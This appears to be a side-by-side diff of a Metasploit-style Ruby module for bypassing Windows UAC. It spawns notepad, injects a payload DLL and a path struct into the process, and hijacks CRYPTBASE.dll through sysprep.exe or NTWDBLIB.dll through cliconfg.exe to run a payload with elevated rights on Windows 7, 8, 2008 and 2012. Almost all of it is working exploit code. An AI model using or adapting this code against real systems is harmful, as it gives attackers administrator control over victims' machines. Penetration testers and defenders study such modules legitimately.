print_status("Executing payload: #{temp_exe}")
|
||||||
|
session.railgun.shell32.ShellExecuteA(nil, 'runas', temp_exe, nil, nil, 5)
|
||||||
|
print_status('Payload executed.')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def run_injection(pid, dll_path, file_paths)
|
||||||
|
|
||||||
|
|
||||||
def run_injection(pid, dll_path)
|
|
||||||
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
|
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
|
||||||
begin
|
begin
|
||||||
|
path_struct = create_struct(file_paths)
|
||||||
|
|
||||||
vprint_status("Opening process #{pid}")
|
vprint_status("Opening process #{pid}")
|
||||||
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
|
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
|
||||||
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
|
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
|
||||||
vprint_status("Executing payload")
|
|
||||||
thread = host_process.thread.create(exploit_mem + offset, 0)
|
vprint_status("Injecting struct into #{pid}")
|
||||||
|
struct_addr = host_process.memory.allocate(path_struct.length)
|
||||||
|
host_process.memory.write(struct_addr, path_struct)
|
||||||
|
|
||||||
|
vprint_status('Executing payload')
|
||||||
|
thread = host_process.thread.create(exploit_mem + offset, struct_addr)
|
||||||
print_good("Successfully injected payload in to process: #{pid}")
|
print_good("Successfully injected payload in to process: #{pid}")
|
||||||
client.railgun.kernel32.WaitForSingleObject(thread.handle,14000)
|
client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
print_error("Failed to Inject Payload to #{pid}!")
|
print_error("Failed to Inject Payload to #{pid}!")
|
||||||
vprint_error(e.to_s)
|
vprint_error(e.to_s)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Create a process in the native architecture
|
||||||
|
def spawn_inject_proc(win_dir)
|
||||||
def spawn_inject_proc
|
print_status('Spawning process with Windows Publisher Certificate, to inject into...')
|
||||||
windir = expand_path("%WINDIR%").strip
|
if sysinfo['Architecture'] =~ /wow64/i
|
||||||
print_status("Spawning process with Windows Publisher Certificate, to inject into...")
|
cmd = "#{win_dir}\\sysnative\\notepad.exe"
|
||||||
cmd = "#{windir}\\System32\\notepad.exe"
|
else
|
||||||
|
cmd = "#{win_dir}\\System32\\notepad.exe"
|
||||||
|
end
|
||||||
pid = cmd_exec_get_pid(cmd)
|
pid = cmd_exec_get_pid(cmd)
|
||||||
|
|
||||||
unless pid
|
unless pid
|
||||||
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
|
fail_with(Exploit::Failure::Unknown, 'Spawning Process failed...')
|
||||||
end
|
end
|
||||||
|
|
||||||
pid
|
pid
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def upload_payload_dll(payload_filepath)
|
||||||
|
|
||||||
def upload_payload_dll!
|
|
||||||
payload = generate_payload_dll({:dll_exitprocess => true})
|
payload = generate_payload_dll({:dll_exitprocess => true})
|
||||||
print_status("Uploading the Payload DLL to the filesystem...")
|
print_status('Uploading the Payload DLL to the filesystem...')
|
||||||
begin
|
begin
|
||||||
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
|
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
|
||||||
write_file(payload_filepath, payload)
|
write_file(payload_filepath, payload)
|
||||||
|
register_file_for_cleanup(payload_filepath)
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
fail_with(
|
fail_with(
|
||||||
Exploit::Exception::Unknown,
|
Exploit::Failure::Unknown,
|
||||||
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
|
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def validate_environment!
|
def validate_environment!
|
||||||
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
|
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||||
|
|
||||||
winver = sysinfo["OS"]
|
winver = sysinfo['OS']
|
||||||
|
|
||||||
unless winver =~ /Windows 2008|Windows [7]/
|
case winver
|
||||||
|
when /Windows (7|8|2008|2012)/
|
||||||
|
print_good("#{winver} may be vulnerable.")
|
||||||
|
else
|
||||||
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||||
end
|
end
|
||||||
|
|
||||||
if is_uac_enabled?
|
if is_uac_enabled?
|
||||||
print_status "UAC is Enabled, checking level..."
|
print_status('UAC is Enabled, checking level...')
|
||||||
else
|
else
|
||||||
if is_in_admin_group?
|
if is_in_admin_group?
|
||||||
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
|
fail_with(Exploit::Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
|
||||||
else
|
else
|
||||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def get_file_paths(win_path, payload_filepath)
|
||||||
|
paths = {}
|
||||||
|
|
||||||
|
case sysinfo['OS']
|
||||||
|
when /Windows (7|2008)/
|
||||||
|
paths[:szElevDll] = 'CRYPTBASE.dll'
|
||||||
|
paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
|
||||||
|
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
|
||||||
|
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
|
||||||
|
when /Windows (8|2012)/
|
||||||
|
paths[:szElevDll] = 'NTWDBLIB.dll'
|
||||||
|
paths[:szElevDir] = "#{win_path}\\System32"
|
||||||
|
# This should be fine to be left blank
|
||||||
|
paths[:szElevDirSysWow64] = ''
|
||||||
|
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe"
|
||||||
|
end
|
||||||
|
|
||||||
|
paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
|
||||||
|
paths[:szTempDllPath] = payload_filepath
|
||||||
|
|
||||||
|
paths
|
||||||
|
end
|
||||||
|
|
||||||
|
# Creates the paths struct which contains all the required paths
|
||||||
|
# the dll needs to copy/execute etc.
|
||||||
|
def create_struct(paths)
|
||||||
|
|
||||||
|
# write each path to the structure in the order they
|
||||||
|
# are defined in the bypass uac binary.
|
||||||
|
struct = ''
|
||||||
|
struct << fill_struct_path(paths[:szElevDir])
|
||||||
|
struct << fill_struct_path(paths[:szElevDirSysWow64])
|
||||||
|
struct << fill_struct_path(paths[:szElevDll])
|
||||||
|
struct << fill_struct_path(paths[:szElevDllFull])
|
||||||
|
struct << fill_struct_path(paths[:szElevExeFull])
|
||||||
|
struct << fill_struct_path(paths[:szTempDllPath])
|
||||||
|
|
||||||
|
struct
|
||||||
|
end
|
||||||
|
|
||||||
|
def fill_struct_path(path)
|
||||||
|
path = Rex::Text.to_unicode(path)
|
||||||
|
path + "\x00" * (520 - path.length)
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue